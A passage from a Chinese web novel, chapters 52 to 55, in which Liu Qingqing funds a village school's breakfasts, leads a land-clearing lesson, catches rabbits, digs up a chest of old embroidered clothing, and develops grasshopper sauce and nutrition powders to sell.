青青秉着不浪费的原则,挖了一勺子饭放在秧鸡碗里,把一点汤底子吸收后,端去给两小只。 别的狼不知道吃什么,反正她们家两小只不嫌弃 ,给什么吃什么,长得特别皮实。 她有意识的喂两小只熟食,希望它们能一直跟着她。 几个小的一起收拾好碗筷,坐在葡萄架下闲话消食。 刘有山兴致高昂讲着村学里的事:“三爷爷家的小子太调皮,竟然叫了几个孩子叠罗汉,幸好是草地,不然得全部摔伤!” “这些小子不知道天高地厚,嚷嚷着要我带他们进山打黑熊,什么都不会的菜鸡,去送人头么!” 苏氏也叹道:“女孩子们乖巧多了,大部分很珍惜这来之不易的机会,都下课了,还趴在桌子上不肯休息,比赛穿针引线,我真担心她们的眼睛!” “还有几个女孩下课后不停地灌水喝,我旁敲侧击问了,都是饿着肚子来的,青青哪,村学能不能配点早食啊,要不从我们家拿一点过去!” 刘青青修剪葡萄枝的手一顿,面上有些迷茫。 她们家才吃饱没几天吧? 把阿娘阿爹弄到村学里上课,算是一石三鸟。 一方面他们确实有自己的特长,无论是打猎还是针线刺绣,对这些农家子弟来说,比会背论语实用得多,学透了,日子总能过得更好。不错,村学就是按技校的模式办的。 二来让两个人多接触接触外面,免得天天闷在家出问题。 三来,她需要人手,马上到的雨季,她需要大量的人手。 只是她没预料到,才上了一天课,间接打开了阿爹的话痨属性,点亮了阿娘的泛滥同情心。 刘青青想了想,认真拒绝苏氏:“阿娘,不可以!” “不过,我们可以换个法子,让她们吃饱!” 第52章 第52章算账 刘青青翻出账本,一笔一笔算给大家听:“村学现在合计收学子66人,46个男娃,20个女娃” 从记录的情况来看,男娃6、7、8岁的都有,女孩全是8岁的,而且跟着家里的弟兄一起报的名,换句话说,只出100文的学费。出500文学费的,无一例外,全是男孩,有这个结果,刘青青一点也不意外。 她就是利用人性偏爱占便宜的计策,让家长觉得,一个人学费500,两个人平均300,更划算,从而添个搭头,送女孩来读书。 当下重男轻女,家族观念严重,像刘有山这种不计较没有儿子的,不说独一无二,确实是少见。 他深刻知晓农村没有男丁的下场,所以郭守云才被他捡回来入赘。 现在看着郭守云挺好,温和有礼,但是,当时郭守云才来刘家时,连话都不会说,一眼不合就咬人。他们不计较这些,只要是个男的就成。 刘青青这样说有些刻薄,但事实如此,长达几千年的封建文化,不是说改变就能改变的,特别在农村这种对体力依赖较大的地方,男性有天然的优势,女性地位还要更低。 她要做的,就是让村民确实感受到,送孩子来念书,是一件有收益的事情。更准确点,让来念书的女孩,有收入,尽快赚回100文钱。 刘青青表示,压力山大。 原本,她只用改善一家子的生活,现在呢,村学里的20个女孩的温饱,都落在了她的肩头上。 她希望村子里的所有孩子都能念书,不用成为秀才书法家什么的,只要不当睁眼瞎,在按手印的时候,看得懂契书的字,不要被卖了还帮着数钱。 刘青青理清思路:“村学账上学费一共收到20两,村长拨来19两,合计39两。 三个夫子工钱是一两一月,发了这个月的工钱,还剩36两,每个学子配了一个小黑板,女孩这边置办针线布料,男孩那边的弓箭,还有锄头镰刀等工具,合计花费7两,也就是,现在账上还有26两。 我们村子里别的没用,木薯粉很多,买些来做早食,每人2两算,一天14公斤,加上最简单的油盐糖,100文就能办下来,一个月花费不到4两! 刘青青看着苏氏脸上的不忍,劝道:“阿娘,我知道你一向心善。 我们家天天吃白米是没办法,我们一家身子亏欠得厉害,特别是阿爹,姜老大夫当时可说啦,要好好的养着,尽量吃饱吃好。我们家是把买药的钱,换成了米菜钱。” 苏氏一想也是,这半年来,几个孩子见风一样疯长,特别是翠翠,之前总是病歪歪的,时不时要去村子里赤脚大夫那,买些药来煮了喝,这半年就没生过病。 回想之前在老宅,对比现在的日子,苏氏有些后怕,都不晓得是怎么熬过来的。 她露出赧然的神色:“你说的是,是我日子过得太舒心了,竟然有闲心管别人的事!” 第二天上学,刘有山宣布,村学要收购3千公斤木薯面,三文一公斤,学堂里的女孩,每人有100公斤的份额,优先收购。 让家里有木薯面的女孩,明日带来,现场结钱。 说起木薯面,村民们别提多后悔了,之前刘青青帮着卖,他们只要送到村长家,过了称结钱就完事。 有那嫌价格低的,自己借驴车运到县城,路上花费的时间,一天的开支,平均算下来一文多一公斤。 送粮店吧,人家收四文,还不如直接在村子里卖呢。 自己到县城里寻摸地方卖,可以卖到五文六文,也有可能运气不好,一公斤都卖不出去,一天的操心劳累打了水漂。 所以大家都在责怪之前胡乱说话的人。 一听说村学收3千公斤木薯面,收完为止,大家带着自己家的木薯面就去村学。 看着排得长长的队,而在学堂念书的女孩,不用排队,领着家人进去,过秤后捧着哐啷响的300文出来,不少人肠子都悔青了,为啥没把家里的女娃送来念书。 男孩家长不愿意了,凭什么收女娃,不收男娃的面,难道男娃家的面是臭的么? 刘有山安慰,下次收购东西,优先男孩。 也有当场去找刘有山的,询问可不可以补报名,刘有山严辞拒绝,学位已满,明年吧! 其实还有空桌子,但刘青青说了,得不到的才珍贵,宁愿空着,也不再招一人。 过了几天,当晓得学堂每早发一个糖心木薯面窝窝头给孩子们充饥,吃完后才上早课,村子里没送孩子来念书的,更是跌足长叹,早早的就来报名,抢明年入学名额。 刘有山没拒绝,笑着解释,明年报名人太多,学位少,只要符合岁数,无论男娃女娃,学费一律500文,口头报名无效,以缴纳学费的先后顺序为准。 村民们犹豫了一下,被后面排队的人抱怨,不报一边去,立马掏钱。 算账的时候,赵峰张大了嘴巴,刘青青一番操作,花费15两买木薯面和,油盐糖给孩子们吃早食,不饿着肚子念书,结果引来50个人报名明年入学,预收25两,账上钱没少,还多出十两,他瞬间理解了妹妹阿喜,提起刘青青那满脸放光的崇拜是怎么回事了。 他参加了今天的科考,可惜县试都没过,恩师说他在镇上继续读书没得意思,让他想办法去县城书院读,可是家里兄弟姐妹多,负担重,他看着阿爹阿娘到处钻营赚钱,作为家中的长子,实在没那个脸提。 干脆收了书在家苦读,刘青青寻到他,让他来村学里当夫子,他本来不愿意,是阿娘和阿喜撒泼打滚逼着他,他勉为其难来的。 这段时间的接触,他觉得刘青青主意层出不穷,推陈出新,敢想敢做,比如让他编常用字教材,让他注音,他多有收益。他隐隐觉得,跟着她,也许能走得更远。 刘青青不晓得他的心里活动,让刘有山开了村学第一节野外实践课,地点就是村学的荒地。 内容:学开荒。 鼓励家长参加,和孩子们共同实践。 刘有山皱眉:“你这是让家长来免费干活啊,不合适吧?” 刘青青狭促一笑:“我们说了自愿哪,怎么能说是让。 为什么办学?孩子都是家长的心头宝,捏着孩子,就是捏着村民的七寸。 以后她的意志可以通过村学灌输到整个村子,她要让整个村子是她的一言堂。 小打小闹的种植只能解决温饱,只有集约规模化的种植,才有大作为。 孩子们已经上了半个月的学,效果立竿见影,会炫耀的写自己的名字,家里人的 名字,还会指着家里的物件,门,窗,房,柜子,巴拉巴拉说个不停。 男孩原来满院子斗鸡走狗的,现在竟然会敲门,关心父母累不累,端茶扫院子。 女孩更能干了,会在帕子上缝名字,虽然歪歪扭扭,但识字了,做到了爹娘没做到的事情。 听说要教孩子们开荒,村民们心里犯嘀咕,放心不下孩子,打算替孩子们干活。 到了开荒些天早上,每个家长扛着锄头镰刀斧头绳索,孩子背着一个小背篓,来到学堂集合。 每个孩子发一个拳头大小糖心窝窝头,配一碗豆浆,大人发同款大一号套餐,等大家吃完,赵峰每人发了一张网兜,刘有山骑着毛驴和打猎的老搭档铁柱叔在前面带路,赵峰走最后面收尾,刘青青和郭守云居中协调。 刘有山选中的荒地大部分是野草,树木很少,他教孩子们把裤腿绑起来,先用长镰刀把杂草勾开,露出红色的土地,然后用锄头翻土,晒上两天,这地就可以播种了。 镰刀口泛着冰冷的光,若勾在腿上就是一道血口子。 家长们哪里放心让孩子干,全都自己上。 刘有山无奈道:“谢谢大家伙对村学的支持,我教孩子们认野菜,寻野味,过会给大家伙加道菜!” 听说还有饭吃,村民们心里舒坦了些。六十多个家长分工合作,妇人勾草,汉子挖地,去除杂草的土地,露出原本的土红色,顺着同一个方向,快速的推进。 刘有山立在草丛中,随手从脚边拔起三颗植株:“这是荠荠菜,这是蒲公英,这是公公磕头……” 夏末时节,草丛里的蚂蚱吃饱了露水立在叶片上打盹,他逮住一个:“你们用网兜网蚂蚱,只要是我们村学的孩子,你们送来的蚂蚱全收,一公斤五文,有多少收多少!” 只有一个要求,活的,都收。 家长:你夹带私货。 刘有山也没闲着,荒地比邻后山,大型猛兽缩在深山,毒蛇说不准藏匿其中。 他和铁柱叔,捡了根绑了镰刀的长竹棍,在前面敲敲打打。 许是他们人声鼎沸,吓走了毒蛇。他和铁柱搜寻了一圈,没看蛇影子。 两个人舒了口气,坐在石头上歇息,刘青青哎哟一声叫起来,差点没将他吓得滚下石头。 难道有漏网之蛇? 刘有山急急杵着拐杖张望,远处青青脸上煞白坐在地上,围了一圈的孩子,他推了一把铁柱:“快,柱子,你先过去看看!” 第53章 第53章搂草打兔子 刘青青脸色煞白跌坐在地上,看着脚下的坑,心中万马奔腾。 荒地里都是小孩,她寻了荒地旁的杂草地逮蚂蚱。不防备脚下,卡在坑里,脚踝传来激烈的疼痛,让她不住的吸冷气。 铁柱跑到近前,没瞟见蛇的影子,心放下了一半,蹲下仔细打量刘青青的情况。 她的脚陷在一个坑里,正好卡在里面出不来,伸手准备握住她的脚拔出来,被赶过来的郭守云阻止:“柱子叔,莫要动!” 他从另一头赶来,跑得气喘吁吁,笑道:“她脚上伤势不知,不能乱动,免得二次受伤,我们从周围把坑挖开一些。” 说完,他拿起小锄头顺着洞口周围挖起来,贴近刘青青脚踝的地方,换手扒拉。 不一会,刘青青脚边的洞口松动,泥土小石块被掏空,他在衣服上擦了擦手,将她的脚捧出来,紧张的看着她:“你试试看,能不能动?” 立在一旁的铁柱,看着地上碗口大的洞口,一眼难尽,不就是崴了一下脚么,有必要这么郑重其事? 刘青青扫一眼,因被他感染,跟着紧张兮兮的孩子们,再看看柱子叔一言难尽的眼,尬笑了一下,末世的时候受伤是常事,被一个人这么紧张,还是头一回呢。试探着动了动脚踝,仅有一点酸疼,应该没有大碍。 郭守云舒了口气,左右打量了一下,扶着她往一边去:“你去那棵树下面歇一歇!” 刘青青:“?” 其实她想继续逮蚂蚱。 看着郭守云担心的神色,她摸了摸鼻子,老实的闭了嘴。太阳晒得脸红彤彤的疼,歇一会吹吹风也行。 两人走到树下,郭守云绕着树周检查了一圈,没有发现毒虫的痕迹,鼓着劲搬了个脸盆大的石头靠在树根,脱下外套铺好,扶她坐下,将水囊塞到她手上:“你歇着,我给你报仇!” 刘青青被他忙晕了,报仇,报什么仇,她走路不长眼,还能怪地不平? 郭守云:“那不是坑,那是兔子洞!” 他已经发现这片荒地有兔子的痕迹,刘有山没说,他就没提。现在兔子竟敢惹到他的头上,不要怪他心狠手辣。 走到适才的坑口,他将刘青青的网兜和他的网兜拼在一起,堵在洞口,用石头压实在,让铁柱叔和赶到的刘有山躲在一边看着。 他仔细看了看草丛了的痕迹,往北走了大约二十多米,果然在一个石头下寻到一个隐蔽的洞口,搬了两个大如脸盆的石头堵起来,然后顺着草丛里的痕迹,往东边绕了约摸十多米,在一从灌木下寻到一个洞口。 郭守云找来一把干草,在洞口点燃,用帽子不停的扇风,滚滚浓烟顺着洞口飘进去。 他自小在森林长大,兔子不吃窝边草,离开洞穴稍微远一点的地方,就能寻到它们吃草的痕迹,叶片被啃得七零八落。 而且兔子前腿短后腿长,走路蹦跳,会在泥土上形成浅浅的痕迹,不时还有零散的毛飘落,人们不能发现其中的不同,但他能。 孩子们也不捉蚂蚱了,屏声静气趴在地上,等着扑兔子。比起没吃过的蚂蚱,他们更馋兔子肉。 等了半刻钟,丝丝缕缕青烟顺着铺了网兜的洞口散出来,兔子毛也没见一根,孩子们不由大失所望,叽叽喳喳讲起小话。 “许兔子没在窝里,出去寻吃的啦!” “对哦,现在快到午时,兔子出去吃午饭拉!” “快到火把节了,还可能是去窜亲戚了呢!”说这话的是赵小壮,他娘每到过节,都要去外婆家。 远处劳作的家长有些急,扬声呼唤:“这些小家伙,赶紧抓蚂蚱去,别在那趴着偷懒!” 蚂蚱可以换钱,这是以前想都不敢想的。要不是他们的地还没挖完,早就亲自动手逮蚂蚱了。 众人四处散开,继续逮蚂蚱,只有郭守云不为所动,依旧当个扇风的不知疲倦工具人。 刘青青喊他:“阿云,算了,许兔子嫌弃这地方不好,搬家啦!” 这么大的太阳,他那里没有遮挡,扇风扇得汗流浃背,脸红耳赤的,她看着不忍。 郭守云没吭声,抬头对着她挤了一丝笑,低头继续抿唇扇风。 这时,突然冲出了三道灰影,撞进了网兜,带动网兜从压着的石头下抽出来,在地上打了两个滚,铁柱叔眼疾手快按住,好家伙,三只肥胖的灰色大兔子在网兜里扑腾,还来踢他。 刘有山哈哈大笑:“好,今晚吃黄焖肥兔!” 正说着,又有两只兔子飞奔出来,看见杵在洞口的刘有山和铁柱叔,惊慌失措,吓得转了个弯,往树林子跑,它们跑的方向正好是刘青青那里。 刘青青还在愣神呢,飞来两只兔子砰一声,撞在了树干上,昏了过去。 还能这样? 刘青青眉开眼笑,嘴角裂到耳根,伸手抓住两只兔子的耳朵,原来守株待兔是真的! 收获五只大兔子,每只起码有六公斤。 刘有山找来绳子,将兔子捆了个结实。 午时,赵峰赶着驴车来给大家伙送饭。 大家伙哄一声围过来,在木盆里洗手后,自己添饭。 整整一大盆碎米饭,一桶酸菜炒肉,一桶回锅肉,一桶南瓜藤汤。酸菜炒肉酸香下饭,回锅肉肥得流油,南瓜藤翠绿清爽,大家伙吃得嘴角流油,红光满面。 刘慧兰一人发了一个竹筒:“各位叔叔婶子开荒辛苦啦,我爹让我准备了冰粉汤,在井水里拜过,解解渴,喝完桶里还有呢!” 吃完饭,喝着凉冰冰甜丝丝的红糖芝麻冰粉汤,被喊来免费做工的家长最后一点抱怨烟消云散,吵吵闹闹:“早听说刘家大丫头厨灶了得,果然是真的!” “她这手艺,和城里美味楼比,也不差了吧!” “嘁,说得好像你天天吃美味楼一样!” “蕙兰,我家大小子今年十八,你要不要考虑一下?当了我家的媳妇,以后只用在家里做饭,保证不让你下一次地!” “啧,你这是癞蛤蟆想吃天鹅肉,就你儿子,胖得看不见眼,好意思提?蕙兰,我跟你说,我儿子才十六,比她儿子高,还俊俏,我明儿带来给你相看相看!” “李大嘴,你说啥,我儿子那是有福相,你儿子瘦得像竹竿,分一吹就倒,刘家更看不上!” “得,蕙兰,别听她们胡咧咧,你这么能干勤快,多的是媒婆上门,仔细莫要挑花了眼哦!” …… 刘慧兰低低嗯了一声,羞得满脸通红,低着头匆匆发完竹筒躲到一边。 吃完饭,刘慧兰收拾了碗筷,像有狗撵着一般,拉着兔子急忙忙下了山,退了婚后,她表面上无事,其实有些不安的,怕以后嫁不掉,成为村子里的笑柄。 今日这些泼辣婶子的打趣,让她找回了一些自信。 歇了半个时辰后,家长们自觉扛起锄头镰刀动手,村学收了一点学费,教导孩子们读书学字打猎针线,免费发孩子们早食,刘有山这村学山长当得响亮,他们也不能拖后腿,麻利把活计干完,种上粮食,孩子们才能吃得更好。 许是人多干活不累,到未时,活计全部干完,刘青青在刘有山耳边嘀咕了几句。 刘有山看了她一眼,而后朗声道:“各位家长,感谢你们对村学的支持,你们放心,这块地的出息,每一文都会花在孩子们身上。 我们收蚂蚱是为了做些吃食换钱,用于村学的支出。夕食吃兔子肉,准备的时间长,我们去田地里捉些蚂蚱,一来田地里的作物不被糟蹋,二来可以换点零花钱。” “你们说,要不要得?” 家长们也可以捉蚂蚱换钱了,还等什么,赶紧走啊。 刘青青也想走,被郭守云按住,他扬了扬手中的几株植物:“你脚上有伤,我给你上点药揉一揉,我们再回去!” 她愕然的眨眨眼,她的脚早就不疼了,难道要原地表示脚尖直立他才信么。 看到他打了个眼色,还是同意了下来。 刘有山把驴子留给他们,交代他们天黑前一定要回村,免得遇到下山的野兽。带着家长们去自家棉花地和黄豆地里抓蚂蚱。 等他们都走光,刘青青看着他:“阿云,你卖什么关子啊?” 郭守云指着兔子洞:“里头还有小兔子,你要不要?”小兔子人人都喜欢,五六十个小孩,分不过来。 “啊?” “今儿总共捉到了五只兔子,两只有奶水,所以,洞里还有小兔子,你想不想要?” 刘青青大喜,她的后院又要多一种动物啦! “可是,它们躲在洞里,我们抓不到!” 浓烟都没把兔子熏出来,想必小兔子还不会走路呢! 而且大兔子都被他们抓走了,若真有小兔子,可就得挨饿拉,不行,一定得把小兔子找出来。 看见她眼巴巴的盯着洞口,郭守云笑了笑:“没事,这兔子洞的走向,我大约晓得,我们挖开就行!” 刘青青看看自己的手,这是手,不是挖机,怎么挖,顺着洞挖么? 好几十米长,得挖到什么时候啊! 郭守云笑了笑,让她一旁看着,顺着兔子的三个洞口看了看,估摸着寻了一个地方,扒开杂草开始往下挖。 好家伙,不一会,果然露出了下面的洞穴。 刘青青惊为天人,难道他有透视眼,看得清地面下兔子的洞道? 郭守云笑笑:“哪里这么神奇,不过是之前抓兔子抓的多,晓得它们的习性罢了!” 他绕了两圈,从新寻了个地方,往下挖,喔唷,真的有小兔子! 九只才长毛胖嘟嘟肉憨憨手掌大小的兔子,耷拉着耳朵瑟瑟发抖挤在一起。 竟然有三只白色的,三只花的,三只灰色的,刘青青挑眉,难道兔子也有婚外情。 郭守云跳下坑,小心翼翼用衣服把小兔子包起来放在背篓里,刘青青跟在后面,准备下山回家,突然,刘青青扭头看向洞穴:“阿云,等等,兔子洞里是什么?” 第54章 第54章强身粉 兔子窝底有些干草,被郭守云带走小兔子后,干草的缝隙下露出了一块松木原色的木板。 以兔子的智商,应该没本事自己做个木板床,所以,这是人为的木板。 难道是棺材? 刘青青环视一周,这里不是清水沟村的坟地,而且棺材是黑色的,这个木板是原色的,难道是藏宝箱,必须得弄出来啊。 听村子里的老人讲古,十多年前天下大乱,不少人拖家带口逃难,许是带不走的财产呢。 脑补到这些可能,刘青青呼吸急促了起来,快速走到坑边,挥舞小锄头开始挖。 郭守云不多话,也跟着挖了起来。 半刻钟后,整个木头盒子露出本来的面目,是一只半人高的木箱,岁月在上面留下了斑驳痕迹,松木的原色呈现一种暗黄,很多地方还有霉瘢。 刘青青下手利落用锄头砸开长满了铜绿的锁,拉着郭守云离得远远的,寻了根长树枝挑开盒子。万一盒子里有机关呢? 等了半响,打开的盒子里没有射出利箭,也没有爬出毒蛇,只有一团鼓鼓囊囊的事物,躲在油布包里,安静乖巧的等着她打开。 刘青青小心翼翼拆开,油布包里的物件露出了真容,小心摆弄了半天,刘青青和郭守云面面相觑。 是两套,衣服? 男子那一套上衣都失落了,只剩裤子。 女子那一套长裙长裤,还有一顶布满银薄片的帽子。 两套衣服都是以深蓝,玄黑为底色,搭配浅蓝,明兰,玫红,各种艳丽的颜色撞击在一起,形成一种野蛮神秘的美感。 袖口领口等地方还绣了花纹,这些花纹和阿娘平时绣的精致不一样,简单对称的米子形状呈现出粗犷风格。 刘青青撇撇嘴,这套衣服好看是好看,可是现在流行的是对襟短衫,和长裤,根本卖不出去。且是大人的,他们也穿不了。 帽子上的银片看着不少,其实很薄,拆下来不值多少钱。 好吧,也算是寻到了宝藏,即便过了很多年,因为有油布包的密封,衣服看着崭亮如新。她可以想象当年埋下这个箱子的人,对这两套衣服的喜爱珍重。 她想了想,用油布包原样包好,塞到背篓里,让大青驴驮着,两人并肩回村。回村后给阿娘看看,她就喜欢这些与众不用的绣样。 两人将东西送回家后,小兔子安顿在鸡笼子旁边,喂了些米汤后,直接去了村学,刘慧兰已经做好了晚饭:黄焖兔子肉,红烧肉,油炸蚂蚱,鸡蛋羹,清炒荠荠菜,米汤! 村学里四张桌子拖在一起,摆成一个大桌,挤着可以坐下十多个人,农村人吃饭的时候不讲究男女,孩子大人全部混坐,十多桌人雅雀无声,一言难尽,看着桌子上的蚂蚱挤眉弄眼不敢动手! 刘有山端了一盘蚂蚱一瘸一拐走到讲台上:“各位兄弟姐妹们,这是我们自己抓的蚂蚱,愣着作甚,快尝尝啊!” 说完 把手里的蚂蚱,抓了一把丢到嘴里,咔嚓咔嚓咀嚼了几口,漏出陶醉的神色:“好吃!香、脆、酥” 既然他带头吃了,坐在最前面的赵六,试探的夹了一颗尝一尝。 他立刻露出浮夸痛苦的表情:“太难吃了,来,你们吃兔子肉,我帮大家吃掉!”手脚麻利的把一盘炸蚂蚱都倒进自己碗里。 众人:“???” 信你个鬼。 同桌人不嫌弃他的碗,两个人按住他将蚂蚱从他怀里的碗中,倒回盘子里。 特别是小孩子,对这些没有抵触,摸了一颗,疑,蛋白质焦香的味道瞬间冲到天灵盖,比起猪肉来说,多了一种天然的香,让人欲罢不能。 可惜,一桌只有一小盘,也太少了吧。 看到受欢迎的蚂蚱,刘青青放心里,她接下来的计划没有问题。 刘慧兰拉了她一把,几人躲到茶水房里,让他们在木盆里洗手。刘蕙兰从锅里端出好几个碗:“现在才回来啊!里头都没座了,诺,知道你爱吃,特意给你们留的,快吃吧!” 两人坐在桌子边,饭和大家伙一样,碎米饭,但菜不同,同样的黄焖兔,刘慧兰故意给她们留的一碗全是兔子腿的,肥多瘦少的红烧肉,蛋羹是最嫩的一份,晃悠悠颤巍巍黄生生,盘子里的蚂蚱堆成小山,明显更大。 从几个菜里,她感受到了刘慧兰对她满满的爱意,可是,她能说,她最喜欢啃兔头,最喜欢嚼瘦肉么! 郭守云看了一眼菜色,没说什么,端起饭碗,自己挑着全是肉的肉块,有骨头的给她,然后红烧肉用小刀从肥瘦地方切开,他吃肥的,瘦得进了刘青青的碗,完美了解决了这个问题。 至于蛋羹,一人一半。 刘青青:“!” 阿云真聪明,竟然精准的抓住了她的喜好。 两人默契的没有动那盘蚂蚱。 郭守云是嫌弃:他在森林里混,最落魄的时候都没有吃过蚂蚱呢! 刘青青挺喜欢吃炸蚂蚱,但喜欢饭后,像瓜子一样,一面看光影,一面慢慢嗑。 把碗里的饭吃得一颗不剩的郭守云,发现桌子上的蚂蚱竟然没动,淡淡看着刘青青:“你吃饱了!” 用的是陈述句。 刘青青讪讪的笑了下,阿姊给他们添的饭压得结实,她肚子都吃得鼓了起来,确实再也吃不下。 望着一盘几乎没动过,色泽焦黄的蚂蚱,她表示,还可以再干一碗。把蚂蚱端到自己面前。 伸出的筷子被郭守云挡住,他将蚂蚱连盘子端走:“我来吧!” 刘青青碰见自己爱吃的食物有些控制不住,上次吃卤鸡蛋,吃撑了抱着肚子躺在下铺哼哼一晚上。 郭守云压住内心对蚂蚱的反抗,夹了一个放到嘴巴里,囫囵吞下去。 刘青青不满意了,敲着筷子抱怨:“你那是什么表情,很香的,你要嚼一下!不吃还我。” 郭守云无奈叹了口气,又夹起一个,这次果然嚼了两下,嗯?真的集齐了香酥脆,完全没有异味。 这次不用刘青青的催促,他接二连三的往嘴巴里丢炸蚂蚱。 刘青青笑嘻嘻感叹:“这样就对了,这叫有难同当,有福同享,有蚂蚱同吃!” 晚间一家子坐到堂屋的八仙桌前商量,刘有山感叹:“蚂蚱是好吃,但模样奇怪,好些人不敢下口!我看蚂蚱这门生意,有点玄。” “这有什么难的,我们把蚂蚱弄得看不出张牙舞爪的模样,不就可以啦!” 所有人目光炯炯的看着她:“你又有什么好主意?” “我们把蚂蚱弄碎,做成蚂蚱酱不就可以啦!” “名字也得换一个,不叫蚂蚱酱,就叫,嗯青华酱,这样行么?” 广告词都想好了,吃青华酱,上青华学。 刘慧兰一想到蚂蚱尸首横飞的模样,顿时打了个冷噤:“反正我不剁,你们来!” 刘有山对剁碎这道工序无感,他是心疼蚂蚱个头小,没骨头:“蚂蚱都剁碎了,得多少只才能装一罐啊,定价少了,赚不到钱,定价高了,没人舍得买!” 刘青青诧异道:“我们做的是蚂蚱酱,没说要全用蚂蚱啊,刚好我们家的黄豆熟了,用来打底,配上蚂蚱调出鲜香味,就是便宜下饭的蚂蚱酱啦!” 众人都惊呆了,还有这种操作? 刘青青撇撇嘴,她吃了不下一百桶牛肉泡面,从来没吃到过牛肉,她做的蚂蚱酱里头至少放三分之一的蚂蚱,已经很良心拉! 刘青青继续在本子上写写画画:“还有,我们不仅要做蚂蚱酱,还有做强身粉,美体粉……” “这又是什么东西?” 刘青青呵呵一笑:“我们把黄豆,大米,麦子炒熟磨成粉末,再和蚂蚱烤粉兑在一起,就是强身美颜粉拉!” 刘有山:“不就是我们平时吃的炒面么?” “爹,和炒面不一样,我们的强身粉放了黄豆粉和蚂蚱粉,更美味滋补。”南边的百姓喜欢吃大米小麦炒熟后磨得粉,简称炒面。 黄豆蕴含大量的植物蛋白,蚂蚱全身是动物蛋白,自带多种氨基酸,大米和麦子主要是淀粉,再调上适量的盐和白糖,可以有效均衡补充身体的营养,达到强身美体的功效。 刘慧兰吓得脸色苍白,啧,蚂蚱酱只要把蚂蚱剁成肉酱,这次的强身粉,更夸张,将蚂蚱挫骨扬灰。 直到动手的时候,刘慧兰才舒了口气,原来用石磨,不用她动手剁。 先把抓回来的蚂蚱养在盆里饿两天,只给喝点淡盐水,让它们排空肚子,洗净肠胃,然后将蚂蚱摘掉头、翅膀、脚,放在锅里小火烘干。 烘干的蚂蚱用小石磨磨碎,筛出细粉留着做强身粉,油锅炒香酱面,倒入一定比例的粗蚂蚱粉共同炒香,蚂蚱酱就做好了。 这样做出来的蚂蚱酱,确实比没放蚂蚱粉的老酱多了一种鲜香,极其下饭,而且可以长时间保存。 强身粉也做好了,淡黄色的晶莹粉末,完全看不出食材本身的模样。从罐子里舀三勺子出来,倒进沸水一冲,搅拌均匀,就可以喝啦。 刘青青多次试验,确定了最后的配方,留下了三款。 强身粉中蚂蚱粉比例高,更香更浓,适合成年男子喝。美体粉兑了些桂花粉进去,除了带着蚂蚱的香味,还有一股若有若无的桂花香,适合女子喝,刘青青单独配了一款甜味较重的,小孩子特别喜欢。 不知道别人家喜不喜欢,反正刘家每人一罐,就连不碰蚂蚱的苏氏,也弄了一罐桂花粉,有事没事泡点喝一口。 现在的问题是,刘家账上只有三十出头,村学那边只有二十多两,这么点银子,不够大规模生产,大米,麦子,糖盐,哪一样都费钱,小打小闹她又不甘心,刘青青琢磨着,从那弄点本钱来? 第55章 第55章专家认证 刘青青抱着一罐壮身粉到村长家,三言两语道明来意。 村长咂摸了一会:“你的意思是让我出钱入股,和你们一起卖这个粉!” “照你的说法,这个粉就是炒面,放了些蚂蚱进去,那些城里人谁会吃啊!” “人家都吃大鱼大肉,嫌弃吃这个哩!” 小孩子天真,没经过社会的毒打,银子哪里是那么好赚的哦,他有些后悔,村学的银子,莫要让她打了水漂才好。 徐氏瞪了村长一眼,嫌弃的将他赶到一边,刘青青可是他们家的救命恩人。她热情的拉着刘青青道:“好孩子,敢想敢拼是好事,我支持你。” “我攒了十两的养老钱,借给你做本钱。” “要是你赚钱了呢,只用还我本钱,要是没赚钱,这点银子也不着急,过些年慢慢给我就是!” 话说到这份上,意思非常明确了,刘青青怀揣十两银,心情有些落寞。 村长算是清水沟村日子最宽裕的人家了,他家不看好这门生意,那其他家的呢?她原本计划一家一家入伙,积少成多,这样看来有点行不通啊。 她一面走一面思索着其他的办法,不防肩膀上被拍了一下:“嗨,青丫头,想什么呢,我喊了你大半天拉!” 原来是刘鑫,他左右张望,见四处无人,偷偷摸摸塞给她一个小包袱皮:“我和你嫂子攒的私房,共有十二两,全在这里啦,我们要入股!” “哈?” “你怎么不明白呢,我爹我娘管着家里的钱财,这些银子是我和翠娥从牙缝里省出来的,你悄悄帮我们入股,莫要让我爹我娘知道!” 有人追着来入股,刘青青有些找回了些自信:“你不怕我把你的银子赔光啊?”入股和借不一样。 “呸呸呸,甭瞎说,我们一定会成功的,让大银子带回更多的小银子。” 这么说,好像有些不讲理,他故作轻松道:“即便真赔了,我们还年轻,一身使不完的力气,再干两年呗!” “行了,你怎么变得比我还婆婆妈妈!翠娥说了,你去找他兄弟,他人脉广,让赵垚牵牵线,城里人不缺钱!” 刘青青眼前一亮,遇到困惑,在这里杞人忧天胡思乱想有什么用,还不如带着成品去县城探探路,行不行拉出来遛一遛就晓得啦。 苏氏和刘有山一天差不多都扑在村学里,家里全靠刘慧兰一人操持,做饭洗衣,喂鸡喂鸭养兔子,着实辛苦。 棉花地里的草长得已经影响到棉花,需要拔除,黄豆等着收割回来,韭菜开了花,村学的地还没有播种,一睁眼就是活计。 刘青青不得不承认,自己家确实缺少壮劳力,请一个长工迫在眉睫。 能干踏实不偷懒的长干,可遇不可求,李青青把迫切的心放一放。 这次,陪着刘青青进城的换成了郭守云,他老早就把驴车擦洗得干干净净,油布车厢里铺上了铺盖,坐上去软软的,即便经过泥坑,又不会太颠。 还放了个枕头可以靠在车栏上,一边的篮子里整齐的摆放了水囊,手巾,蒲扇,她常用的炭笔,本子,早食吃剩的馒头用白纱布包好,还有她的帽子,外裳,夹袄。 满满当当的篮子里,囊括了吃穿住行,全是她的物件。 说他笨吧,他准备的每一样物件齐全不漏。 说他体贴吧,他还准备夹袄,这大热的天,套上夹袄,不得蒸掉一层皮。 郭守云理所应当道,“万一下雨,天气变凉,出门在外,多带些东西不妨事,再说,也不用你扛着,你就坐在车里老实打盹就行。” 行叭! 每次都是她为全家操心,现在有人为她操心,她只管咸鱼躺,这感觉还挺不错。 临出门,郭守云想了想,从后院把两小只招来,丢到车厢里:“它们还没去过县城,带着去开开眼!” 刘青青眼也没抬,忙着给两小只撸毛:“这些小事,你做主就好!” 郭守云嗯了一声,见她不无聊了,坐在车架上,招呼大青驴出发。 赵垚正在午饭,听到有人找他,一猜就晓得是刘青青,连忙跑出来,视线顺着她身后一扫,没看见熟悉的身影,心里感觉差了点什么。 他笑嘻嘻问:“青丫头,你们偷跑出来的啊?” 刘青青似笑非笑打量他一眼,都是千年的狐狸,就别相互演妖精,想打听阿姐就直说,这么拐弯抹角的,是几个意思。 “我和阿云来的,阿姊有事在家,她忙着呢!” 